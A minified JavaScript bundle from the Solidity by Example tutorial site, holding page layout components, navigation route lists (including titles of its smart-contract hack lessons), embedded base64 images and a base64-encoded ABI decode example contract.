bryRwdmWTIDK0AND4/TKwZ+4qNe3KklE+8FdNwd2VTYLY0Ab9EI33zcgdeUtc8wi6AbQyUwLj7somQfToa39cQrBT/EOI1yfF7rhSgpFSXumTCntXNgmiQ6smCo13iz1RnKrENQ81Kta51Vqj/ZLMEtc0okMLANWP6yhtFndTQVbimkdYrHMrucQ1jfjQAsW1nVOXuOZTkHMrvMQ1jROhLart3PT5CEU5t9JLXNM4EVqA3rktrMQ1B2rn1oUS1zTOhJbSuT2pHdwU1M6tCyWuaZx6NFTO7cx2cFMQObcS2sGz4FRoKZzbee3gpsjr3EppB8+CU6EF8ju3c9vBTZHTuZXSDp4F50Kbx7lN3g5uhszOraB28Cw4F1ogu3ObtB3cGBmdW0nt4FlwMrRAeuc2bTu4KVI7t8LawbPgbGjTOLdZ2sFNkda5ldYOngVnQwskd24zt4ObIqFzK7EdPAtOhzaJc1u0K0tFEudWYjt4Fpx/hPOc29zt4KaY49xKbQfPgvOhPc25NeXKUjHLuZXcDp4F50MLzHZujbmyVMxwbl1yZZOwEKEFbnduzbuyVEw5t465sklYmNBOO7dcS1zzUIE6Nrd1zZVNwsKEFrjl3NpyZckoHZTAXHRlk7BQoQ13Sqj9aUlEiWseQTdEy0FXNgnqvs89IKDe4/HcYvHeph7x+NB6xOFD6xGHD61HHD60HnH40HrE4UPrEYcPrUccPrQecfjQesThQ+sRhw+tRxw+tB5x+NB6xOFD6xGHD61HHD60HnH40HrE8T8YG8SKlmk4HgAAAABJRU5ErkJggg==",dg="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEcAAAAyCAYAAAAOX8ZtAAAABmJLR0QA/wD/AP+gvaeTAAADmUlEQVRoge3bT2wUZRjH8c9Ml39S09IC/uFiRBIwabzVE15oiJBwLBcP3npS4E4IBA/EAwmcCInhoCeJNwgQoDGRC8GESMDYhJRyUAQplZa2tBYdD+9suqmsadHO+6J8kzd5Z3Znnt/+9p1ndt593swCKViFV7EWK8vWjpewouyvLLdfLg9rxZKG0ywt39NIOzL8gdE5r42W++uMY6bs/4pJTOARxsr+RHncOO7hbsbjhXzWrNkLBcvxPt5FF97Ga8L+55VR/Ijv8R0u45uM3+d9hoK+gnsFxf+g3S74cD6mrCj4PAHBMdpXRUgLTc35IgGRMduXzYz5OAFxKbSP6p5kpTHtuI22eSem/y4P8UbGaF7u6PXCmDrtgh/q5vTE05IkPcya0x1RSIp0Q1aEy+lhZDEpsirH+tgqEmV9jjdjq0iUt3Ksi60iUdbl6Kw05NatrFlTachnpDPH6kpD7tjBrVscOMCyZZWGXiCrqzcHWlvZv5/r1+ntrTz8POms/rJqZMMGTp7k4kW6uqLJaMLqHB2xVdiyhatXOX48pXzUmQvTmfGp1ejrY2CA3bvDdlyW50grK3Z0cORIyEfbtsVUsjQ9c+ps3MiZM1y4wKZNMRQsS9ecOj09XLvG0aO0VTqrkvDIaWTJEnbtYnAw5KOWliqiPgcjp5HOzpCPrlxh8+bFjrY0R7HYUZ5Tshy/xVYxb4aH2bOH7m4uXVrsaFM1TEvlt04zZmY4dox9+xgbqyrqdN2cdDl9OoyWwcGqI0/nUjVnYIDt28NTfPXGkKQ5IyNhpHR1cfZsTCVTNaF8Iz5PnnDiBHv3hsQbn6kaRmKr0N8fRsuNG7GVNDKcI97XdPMmO3eGR4S0jIHhmhjmjI9z+DCHDjGdVsprIII5p05x8CD371ca9hl4UMODSkOeP19puH/AcI47sVUkys85bsVWkSiDLwoJmtOWZ6H8dCi2ksQYyhir1+dciSolPb5ltnipP6KQFPmaFwWTT+ORUDA5kkMWEvIncTUlw6fZ3OfNgpaCUwnUAcds/QVP/6u1YHnBZwmIjNHOFbOrfJpT8EHBUAKCq2h3i1C9n8/14e+WFLXgPWFJ0TvCkqLXxajn+fd4jJ/wg7Cs6DLOZU1mQ5ua04wi/Am4Fq8Id7lWs4vSVjX0W4W7X17GaZ9zqvriszr19xb++ov9EZ40bD/GVNkfFWYzJ8vjJsp+fWHaJH7BnSzsmzd/AkgxNaTAmykLAAAAAElFTkSuQmCC",VC="/assets/telegram-zGrx4xca.png",fC="/assets/discord-akqDA9xj.png";function YC(){return r.jsxs("div",{className:Is.component,children:[r.jsxs("div",{className:Is.row,children:[r.jsx("img",{src:GC,alt:"smart contract engineer",className:Is.sce}),r.jsx("a",{href:"https://www.smartcontract.engineer",target:"__blank",children:"Smart Contract Engineer"})]}),r.jsxs("div",{className:Is.social,children:[r.jsxs("div",{className:Is.row,children:[r.jsx("img",{src:fC,alt:"discord",className:Is.discord}),r.jsx("a",{href:"https://discord.gg/bt8FK2wkcW",target:"__blank",children:"Discord"})]}),r.jsxs("div",{className:Is.row,children:[r.jsx("img",{src:VC,alt:"telegram",className:Is.telegram}),r.jsx("a",{href:"https://t.me/smartcontractprogrammer",target:"__blank",children:"Telegram"})]}),r.jsxs("div",{className:Is.row,children:[r.jsx("img",{src:dg,alt:"youtube",className:Is.youTube}),r.jsx("a",{href:"https://www.youtube.com/channel/UCJWh7F3AFyQ_x01VKzr9eyA",target:"__blank",children:"YouTube"})]})]}),r.jsx("div",{className:Is.row,children:r.jsx("a",{href:"mailto:contact@solidity-by-example.org",children:"contact@solidity-by-example.org"})}),r.jsxs("div",{className:Is.row,children:[r.jsx("a",{href:"https://github.com/solidity-by-example/solidity-by-example.github.io",target:"__blank",children:"Source"}),r.jsx("div",{className:Is.bar,children:"|"}),r.jsx("a",{href:"https://github.com/solidity-by-example/solidity-by-example.github.io/blob/gh-pages/LICENSE",target:"__blank",children:"License"}),r.jsx("div",{className:Is.bar,children:"|"}),r.jsx("a",{href:Ig,target:"__blank",children:"Solidity jobs"})]})]})}const RC=({children:s})=>{const{state:a}=et(),n=W.useRef(null);W.useLayoutEffect(()=>{n.current&&(n.current.scrollTop=parseInt(sessionStorage.getItem("scroll")||"0")||0)},[]);function l(p){var e;sessionStorage.setItem("scroll",(((e=n.current)==null?void 0:e.scrollTop)||0).toString()),window.location.href=p}return r.jsxs("div",{className:Rl.component,children:[r.jsx("div",{ref:n,className:Rl.sideNav,style:a.sideNav?{width:"var(--side-nav-width)",padding:"20px 10px 60px 10px"}:{width:0},children:a.sideNav?r.jsx(eC,{onClick:l}):null}),r.jsxs("div",{className:Rl.main,children:[r.jsx(uC,{}),r.jsxs("div",{className:Rl.children,children:[s,r.jsx(YC,{})]})]})]})},Cg=({title:s,description:a})=>(W.useEffect(()=>{document.title=s;const n=document.querySelector("meta[name='description']");n&&n.setAttribute("content",a)},[]),null),Yo=' ',XC='';function vC(s=[]){W.useEffect(()=>{const a=p=>{try{const e=document.createElement("textarea");e.setAttribute("style","width:1px;border:0;opacity:0;"),document.body.appendChild(e),navigator.clipboard.writeText(p.innerText),document.body.removeChild(e)}catch(e){console.error(e)}},n=[];return document.querySelectorAll("pre").forEach(p=>{var i;if(((i=p.parentElement)==null?void 0:i.className)=="copy-wrapper")return;const e=document.createElement("div");e.className="copy-wrapper",p.parentElement.insertBefore(e,p),e.appendChild(p);const c=document.createElement("button");c.className="copy",c.title="Copy",c.innerHTML=Yo,c.ariaLabel="Copy to clipboard",p.after(c);function t(I){I.preventDefault(),a(p.childNodes[0]),c.innerHTML=XC}function o(I){I.preventDefault(),c.innerHTML=Yo}c.addEventListener("click",t),c.addEventListener("blur",o),n.push(()=>{c.removeEventListener("click",t),c.removeEventListener("blur",o)})}),()=>{for(let p=0;p(vC([]),r.jsx("div",{className:`code ${s}`,dangerouslySetInnerHTML:{__html:a}})),HC="_component_ni5i2_1",FC="_content_ni5i2_5",KC="_prevNext_ni5i2_8",he={component:HC,content:FC,prevNext:KC},u=({title:s,version:a,description:n,html:l,prev:p,next:e,codes:c})=>r.jsxs("div",{className:he.component,children:[r.jsx(Cg,{title:`${s} | Solidity by Example | ${a}`,description:n}),r.jsxs("div",{className:he.content,children:[r.jsx("h2",{children:s}),r.jsx(NC,{html:l}),r.jsxs("div",{className:he.prevNext,children:[p&&r.jsxs("a",{href:p.path,children:["< ",p.title]}),e&&r.jsxs("a",{href:e.path,children:[e.title," >"]})]}),r.jsx("h3",{children:"Try on Remix"}),r.jsx("ul",{children:c.map(({fileName:t,code:o},i)=>r.jsx("li",{children:r.jsx("a",{href:`https://remix.ethereum.org/?#code=${o}`,target:"_blank",rel:"noreferrer",children:t})},i))})]})]}),MC="0.8.24",SC="ABI Decode",xC="ABI decode bytes",JC=[{fileName:"AbiDecode.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEFiaURlY29kZSB7CiAgICBzdHJ1Y3QgTXlTdHJ1Y3QgewogICAgICAgIHN0cmluZyBuYW1lOwogICAgICAgIHVpbnQyNTZbMl0gbnVtczsKICAgIH0KCiAgICBmdW5jdGlvbiBlbmNvZGUoCiAgICAgICAgdWludDI1NiB4LAogICAgICAgIGFkZHJlc3MgYWRkciwKICAgICAgICB1aW50MjU2W10gY2FsbGRhdGEgYXJyLAogICAgICAgIE15U3RydWN0IGNhbGxkYXRhIG15U3RydWN0CiAgICApIGV4dGVybmFsIHB1cmUgcmV0dXJucyAoYnl0ZXMgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuIGFiaS5lbmNvZGUoeCwgYWRkciwgYXJyLCBteVN0cnVjdCk7CiAgICB9CgogICAgZnVuY3Rpb24gZGVjb2RlKGJ5dGVzIGNhbGxkYXRhIGRhdGEpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoCiAgICAgICAgICAgIHVpbnQyNTYgeCwKICAgICAgICAgICAgYWRkcmVzcyBhZGRyLAogICAgICAgICAgICB1aW50MjU2W10gbWVtb3J5IGFyciwKICAgICAgICAgICAgTXlTdHJ1Y3QgbWVtb3J5IG15U3RydWN0CiAgICAgICAgKQogICAgewogICAgICAgIC8vICh1aW50IHgsIGFkZHJlc3MgYWRkciwgdWludFtdIG1lbW9yeSBhcnIsIE15U3RydWN0IG15U3RydWN0KSA9IC4uLgogICAgICAgICh4LCBhZGRyLCBhcnIsIG15U3RydWN0KSA9CiAgICAgICAgICAgIGFiaS5kZWNvZGUoZGF0YSwgKHVpbnQyNTYsIGFkZHJlc3MsIHVpbnQyNTZbXSwgTXlTdHJ1Y3QpKTsKICAgIH0KfQo="}],zC=`

abi.encode encodes data into bytes.

+ */function rc(s){return s===void 0&&(s=""),new URLSearchParams(typeof s=="string"||Array.isArray(s)||s instanceof URLSearchParams?s:Object.keys(s).reduce((a,n)=>{let l=s[n];return a.concat(Array.isArray(l)?l.map(p=>[n,p]):[[n,l]])},[]))}function Fd(s,a){let n=rc(s);return a&&a.forEach((l,p)=>{n.has(p)||a.getAll(p).forEach(e=>{n.append(p,e)})}),n}const Kd="6";try{window.__reactRouterVersion=Kd}catch{}const Md="startTransition",Bo=Hg[Md];function Sd(s){let{basename:a,children:n,future:l,window:p}=s,e=B.useRef();e.current==null&&(e.current=TI({window:p,v5Compat:!0}));let c=e.current,[t,o]=B.useState({action:c.action,location:c.location}),{v7_startTransition:i}=l||{},I=B.useCallback(d=>{i&&Bo?Bo(()=>o(d)):o(d)},[o,i]);return B.useLayoutEffect(()=>c.listen(I),[c,I]),B.createElement(Nd,{basename:a,children:n,location:t.location,navigationType:t.action,navigator:c,future:l})}var Go;(function(s){s.UseScrollRestoration="useScrollRestoration",s.UseSubmit="useSubmit",s.UseSubmitFetcher="useSubmitFetcher",s.UseFetcher="useFetcher",s.useViewTransitionState="useViewTransitionState"})(Go||(Go={}));var Vo;(function(s){s.UseFetcher="useFetcher",s.UseFetchers="useFetchers",s.UseScrollRestoration="useScrollRestoration"})(Vo||(Vo={}));function xd(s){let a=B.useRef(rc(s)),n=B.useRef(!1),l=Hp(),p=B.useMemo(()=>Fd(l.search,n.current?null:a.current),[l.search]),e=yd(),c=B.useCallback((t,o)=>{const i=rc(typeof t=="function"?t(p):t);n.current=!0,e("?"+i,o)},[e,p]);return[p,c]}const Jd="_component_nqcni_1",zd="_sideNav_nqcni_6",Dd="_main_nqcni_13",Ed="_children_nqcni_21",Rl={component:Jd,sideNav:zd,main:Dd,children:Ed},Qd="_list_1ltry_1",Td="_title_1ltry_6",Ud="_listItem_1ltry_11",_d="_listItemActive_1ltry_18",Ld="_link_1ltry_26",xa={list:Qd,title:Td,listItem:Ud,listItemActive:_d,link:Ld},Od=[{lang:"Armenian",url:"https://pranatech.org/solidity-by-example-hy/"},{lang:"Persian",url:"https://solidifa.ir/solidity-by-example/"},{lang:"Spanish",url:"https://github.com/lcadafalch/solidity_attacks"},{lang:"Simplified Chinese",url:"https://github.com/Web3-Club/solidity-by-example_Chinese"}],Pd=[{path:"hello-world",title:"Hello World"},{path:"first-app",title:"First App"},{path:"primitives",title:"Primitive Data Types"},{path:"variables",title:"Variables"},{path:"constants",title:"Constants"},{path:"immutable",title:"Immutable"},{path:"state-variables",title:"Reading and Writing to a State Variable"},{path:"ether-units",title:"Ether and Wei"},{path:"gas",title:"Gas and Gas Price"},{path:"if-else",title:"If / Else"},{path:"loop",title:"For and While Loop"},{path:"mapping",title:"Mapping"},{path:"array",title:"Array"},{path:"enum",title:"Enum"},{path:"structs",title:"Structs"},{path:"data-locations",title:"Data Locations - Storage, Memory and Calldata"},{path:"transient-storage",title:"Transient Storage"},{path:"function",title:"Function"},{path:"view-and-pure-functions",title:"View and Pure Functions"},{path:"error",title:"Error"},{path:"function-modifier",title:"Function Modifier"},{path:"events",title:"Events"},{path:"constructor",title:"Constructor"},{path:"inheritance",title:"Inheritance"},{path:"shadowing-inherited-state-variables",title:"Shadowing Inherited State Variables"},{path:"super",title:"Calling Parent Contracts"},{path:"visibility",title:"Visibility"},{path:"interface",title:"Interface"},{path:"payable",title:"Payable"},{path:"sending-ether",title:"Sending Ether - Transfer, Send, and Call"},{path:"fallback",title:"Fallback"},{path:"call",title:"Call"},{path:"delegatecall",title:"Delegatecall"},{path:"function-selector",title:"Function Selector"},{path:"calling-contract",title:"Calling Other Contract"},{path:"new-contract",title:"Creating Contracts from a Contract"},{path:"try-catch",title:"Try / Catch"},{path:"import",title:"Import"},{path:"library",title:"Library"},{path:"abi-encode",title:"ABI Encode"},{path:"abi-decode",title:"ABI Decode"},{path:"hashing",title:"Hashing with Keccak256"},{path:"signature",title:"Verifying Signature"},{path:"gas-golf",title:"Gas Optimizations"},{path:"bitwise",title:"Bitwise Operators"},{path:"unchecked-math",title:"Unchecked Math"},{path:"assembly-variable",title:"Assembly Variable"},{path:"assembly-if",title:"Assembly Conditional Statements"},{path:"assembly-loop",title:"Assembly Loop"},{path:"assembly-error",title:"Assembly Error"},{path:"assembly-math",title:"Assembly Math"}],$d=[{path:"ether-wallet",title:"Ether Wallet"},{path:"multi-sig-wallet",title:"Multi Sig Wallet"},{path:"merkle-tree",title:"Merkle Tree"},{path:"iterable-mapping",title:"Iterable Mapping"},{path:"erc20",title:"ERC20"},{path:"erc721",title:"ERC721"},{path:"erc1155",title:"ERC1155"},{path:"gasless-token-transfer",title:"Gasless Token Transfer"},{path:"simple-bytecode-contract",title:"Simple Bytecode Contract"},{path:"create2",title:"Precompute Contract Address with Create2"},{path:"minimal-proxy",title:"Minimal Proxy Contract"},{path:"upgradeable-proxy",title:"Upgradeable Proxy"},{path:"deploy-any-contract",title:"Deploy Any Contract"},{path:"write-to-any-slot",title:"Write to Any Slot"},{path:"uni-directional-payment-channel",title:"Uni-directional Payment Channel"},{path:"bi-directional-payment-channel",title:"Bi-directional Payment Channel"},{path:"english-auction",title:"English Auction"},{path:"dutch-auction",title:"Dutch Auction"},{path:"crowd-fund",title:"Crowd Fund"},{path:"multi-call",title:"Multi Call"},{path:"multi-delegatecall",title:"Multi Delegatecall"},{path:"time-lock",title:"Time Lock"},{path:"assembly-bin-exp",title:"Assembly Binary Exponentiation"}],qd=[{path:"re-entrancy",title:"Re-Entrancy"},{path:"overflow",title:"Arithmetic Overflow and Underflow"},{path:"self-destruct",title:"Self Destruct"},{path:"accessing-private-data",title:"Accessing Private Data"},{path:"delegatecall",title:"Delegatecall"},{path:"randomness",title:"Source of Randomness"},{path:"denial-of-service",title:"Denial of Service"},{path:"phishing-with-tx-origin",title:"Phishing with tx.origin"},{path:"hiding-malicious-code-with-external-contract",title:"Hiding Malicious Code with External Contract"},{path:"honeypot",title:"Honeypot"},{path:"front-running",title:"Front Running"},{path:"block-timestamp-manipulation",title:"Block Timestamp Manipulation"},{path:"signature-replay",title:"Signature Replay"},{path:"contract-size",title:"Bypass Contract Size Check"},{path:"deploy-different-contracts-same-address",title:"Deploy Different Contracts at Same Address"},{path:"vault-inflation",title:"Vault Inflation Attack"},{path:"weth-permit",title:"WETH Permit"}],sC=[{path:"storage",title:"EVM Storage Layout"},{path:"memory",title:"EVM Memory Layout"}],aC=[{path:"echidna",title:"Echidna"}],nC=[{path:"uniswap-v2",title:"Uniswap V2 Swap"},{path:"uniswap-v2-add-remove-liquidity",title:"Uniswap V2 Add Remove Liquidity"},{path:"uniswap-v2-optimal-one-sided-supply",title:"Uniswap V2 Optimal One Sided Supply"},{path:"uniswap-v2-flash-swap",title:"Uniswap V2 Flash Swap"},{path:"uniswap-v3-swap",title:"Uniswap V3 Swap"},{path:"uniswap-v3-liquidity",title:"Uniswap V3 Liquidity"},{path:"uniswap-v3-flash",title:"Uniswap V3 Flash Loan"},{path:"uniswap-v3-flash-swap",title:"Uniswap V3 Flash Swap Arbitrage"},{path:"chainlink-price-oracle",title:"Chainlink Price Oracle"},{path:"dai-proxy",title:"DAI Proxy"},{path:"staking-rewards",title:"Staking Rewards"},{path:"discrete-staking-rewards",title:"Discrete Staking Rewards"},{path:"vault",title:"Vault"},{path:"constant-sum-amm",title:"Constant Sum AMM"},{path:"constant-product-amm",title:"Constant Product AMM"},{path:"stable-swap-amm",title:"Stable Swap AMM"}],tt=[{title:"",routes:Pd.map(s=>({...s,path:`/${s.path}`}))},{title:"Applications",routes:$d.map(s=>({...s,path:`/app/${s.path}`}))},{title:"Hacks",routes:qd.map(s=>({...s,path:`/hacks/${s.path}`}))},{title:"EVM",routes:sC.map(s=>({...s,path:`/evm/${s.path}`}))},{title:"Tests",routes:aC.map(s=>({...s,path:`/tests/${s.path}`}))},{title:"DeFi",routes:nC.map(s=>({...s,path:`/defi/${s.path}`}))}],Cp=tt.map(({routes:s})=>s).flat(),lC=Cp.reduce((s,a,n)=>(s[a.path]=n,s),{});function pC(s){const a=lC[s];if(a>=0){const n=Cp[a-1]||null,l=Cp[a+1]||null;return{prev:n,next:l}}return{prev:null,next:null}}const eC=({onClick:s})=>{const a=Hp();function n(l,p){l.preventDefault(),s(p)}return r.jsxs(r.Fragment,{children:[r.jsx("h3",{className:xa.category,children:"Basic"}),tt.map(({routes:l,title:p},e)=>r.jsxs("div",{children:[p&&r.jsx("h3",{className:xa.title,children:p}),r.jsx("ul",{className:xa.list,children:l.map(({path:c,title:t})=>{const o=!!eg(c,a.pathname);return r.jsx("li",{className:o?xa.listItemActive:xa.listItem,children:r.jsx("a",{className:xa.link,href:c,onClick:i=>n(i,c),children:t})},c)})})]},e))]})},cC=({size:s,className:a="",onClick:n})=>r.jsx("svg",{xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 20 20",strokeWidth:2,stroke:"currentColor",className:a,width:s,height:s,onClick:n,children:r.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.75 6.75h16.5M3.75 12h16.5m-16.5 5.25h16.5"})}),tC="_component_15x91_1",oC="_a_15x91_13",rC="_center_15x91_16",iC="_logo_15x91_21",gC="_header_15x91_24",hC="_mode_15x91_28",IC="_hamburger_15x91_33",aa={component:tC,a:oC,center:rC,logo:iC,header:gC,mode:hC,hamburger:IC},dC=({size:s,className:a=""})=>r.jsx("svg",{xmlns:"http://www.w3.org/2000/svg",fill:"#fff",viewBox:"0 0 438.277 438.277",width:s,height:s,className:a,children:r.jsx("path",{d:"M428.756 300.104c-.664-3.81-2.334-7.047-4.996-9.713-5.9-5.903-12.752-7.142-20.554-3.716-20.937 9.708-42.641 14.558-65.097 14.558-28.171 0-54.152-6.94-77.943-20.838-23.791-13.894-42.631-32.736-56.525-56.53-13.899-23.793-20.844-49.773-20.844-77.945 0-21.888 4.333-42.683 12.991-62.384 8.66-19.7 21.176-36.973 37.543-51.82 6.283-5.898 7.713-12.752 4.287-20.557-3.236-7.801-9.041-11.511-17.415-11.132-29.121 1.141-56.72 7.664-82.797 19.556C111.33 31.478 88.917 47.13 70.168 66.548c-18.747 19.414-33.595 42.399-44.54 68.95-10.942 26.553-16.416 54.39-16.416 83.511 0 29.694 5.806 58.054 17.416 85.082 11.613 27.028 27.218 50.344 46.824 69.949 19.604 19.599 42.92 35.207 69.951 46.822 27.028 11.607 55.384 17.415 85.075 17.415 42.64 0 81.987-11.563 118.054-34.69 36.069-23.124 63.05-54.006 80.944-92.645 1.524-3.423 1.951-7.036 1.28-10.838zm-122.191 84.064c-24.646 11.711-50.676 17.562-78.087 17.562-24.743 0-48.39-4.853-70.947-14.558-22.554-9.705-41.971-22.695-58.246-38.972-16.271-16.272-29.259-35.686-38.97-58.241-9.707-22.556-14.561-46.203-14.561-70.948 0-40.922 12.135-77.466 36.403-109.636 24.266-32.165 55.531-53.959 93.788-65.379-19.795 31.405-29.694 65.379-29.694 101.926 0 34.644 8.564 66.715 25.697 96.223 17.128 29.499 40.446 52.811 69.95 69.948 29.499 17.129 61.565 25.694 96.211 25.694 10.656 0 21.129-.855 31.408-2.57-17.318 20.938-38.307 37.255-62.952 48.951z"})}),CC=({size:s,className:a=""})=>r.jsxs("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 302.4 302.4",width:s,height:s,className:a,children:[r.jsx("path",{d:"M204.8 97.6C191.2 84 172 75.2 151.2 75.2s-40 8.4-53.6 22.4c-13.6 13.6-22.4 32.8-22.4 53.6s8.8 40 22.4 53.6c13.6 13.6 32.8 22.4 53.6 22.4s40-8.4 53.6-22.4c13.6-13.6 22.4-32.8 22.4-53.6s-8.4-40-22.4-53.6zm-14.4 92.8c-10 10-24 16-39.2 16s-29.2-6-39.2-16-16-24-16-39.2 6-29.2 16-39.2 24-16 39.2-16 29.2 6 39.2 16 16 24 16 39.2-6 29.2-16 39.2z",stroke:"#252519",strokeWidth:12}),r.jsx("path",{d:"M292 140.8h-30.8c-5.6 0-10.4 4.8-10.4 10.4 0 5.6 4.8 10.4 10.4 10.4H292c5.6 0 10.4-4.8 10.4-10.4 0-5.6-4.8-10.4-10.4-10.4zm-140.8 110c-5.6 0-10.4 4.8-10.4 10.4V292c0 5.6 4.8 10.4 10.4 10.4 5.6 0 10.4-4.8 10.4-10.4v-30.8c0-5.6-4.8-10.4-10.4-10.4zm106.8-7.2-22-22c-3.6-4-10.4-4-14.4 0s-4 10.4 0 14.4l22 22c4 4 10.4 4 14.4 0s4-10.4 0-14.4zM151.2 0c-5.6 0-10.4 4.8-10.4 10.4v30.8c0 5.6 4.8 10.4 10.4 10.4 5.6 0 10.4-4.8 10.4-10.4V10.4c0-5.6-4.8-10.4-10.4-10.4zm107.2 44.4c-4-4-10.4-4-14.4 0l-22 22c-4 4-4 10.4 0 14.4 3.6 4 10.4 4 14.4 0l22-22c4-4 4-10.4 0-14.4zM41.2 140.8H10.4c-5.6 0-10.4 4.8-10.4 10.4s4.4 10.4 10.4 10.4h30.8c5.6 0 10.4-4.8 10.4-10.4 0-5.6-4.8-10.4-10.4-10.4zm39.2 80.8c-3.6-4-10.4-4-14.4 0l-22 22c-4 4-4 10.4 0 14.4s10.4 4 14.4 0l22-22c4-4 4-10.4 0-14.4zm0-155.2-22-22c-4-4-10.4-4-14.4 0s-4 10.4 0 14.4l22 22c4 4 10.4 4 14.4 0s4-10.4 0-14.4z",stroke:"#252519",strokeWidth:5})]}),jC=({size:s,className:a="",fill:n})=>r.jsxs("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1300 1300",xmlSpace:"preserve",width:s,height:s,className:a,fill:n,children:[r.jsx("path",{opacity:.45,d:"M773.772 253.308 643.068 485.61H381.842l130.614-232.302h261.316"}),r.jsx("path",{opacity:.6,d:"M643.068 485.61h261.318L773.772 253.308H512.456L643.068 485.61z"}),r.jsx("path",{opacity:.8,d:"M512.456 717.822 643.068 485.61 512.456 253.308 381.842 485.61l130.614 232.212z"}),r.jsx("path",{opacity:.45,d:"m513.721 1066.275 130.704-232.303h261.318l-130.705 232.303H513.721"}),r.jsx("path",{opacity:.6,d:"M644.424 833.973H383.107l130.613 232.303h261.317L644.424 833.973z"}),r.jsx("path",{opacity:.8,d:"M775.038 601.761 644.424 833.973l130.614 232.303 130.704-232.303-130.704-232.212z"})]});function AC(){const{state:s,setTheme:a,toggleSideNav:n}=et();function l(){a(s.theme=="light"?"dark":"light")}return r.jsxs("div",{className:aa.component,children:[r.jsx(cC,{size:20,className:aa.hamburger,onClick:n}),r.jsxs("div",{className:aa.center,children:[r.jsx("a",{href:"/",className:aa.a,children:r.jsx(jC,{className:aa.logo,size:30,fill:s.theme=="dark"?"rgb(0, 255, 0)":"currentColor"})}),r.jsx("h3",{className:aa.header,children:r.jsx("a",{href:"/",className:aa.a,children:"Solidity by Example"})})]}),r.jsx("button",{className:aa.mode,onClick:l,children:s.theme=="dark"?r.jsx(dC,{size:20}):r.jsx(CC,{size:20})})]})}const Ig="https://cryptojobslist.com/solidity",uC="_component_h47vh_1",yC="_row_h47vh_8",mC="_bar_h47vh_13",bC="_to_h47vh_21",wC="_social_h47vh_24",kC="_sce_h47vh_29",ZC="_telegram_h47vh_34",WC="_discord_h47vh_38",BC="_youTube_h47vh_42",Is={component:uC,row:yC,bar:mC,to:bC,social:wC,sce:kC,telegram:ZC,discord:WC,youTube:BC},GC="data:image/png;base64,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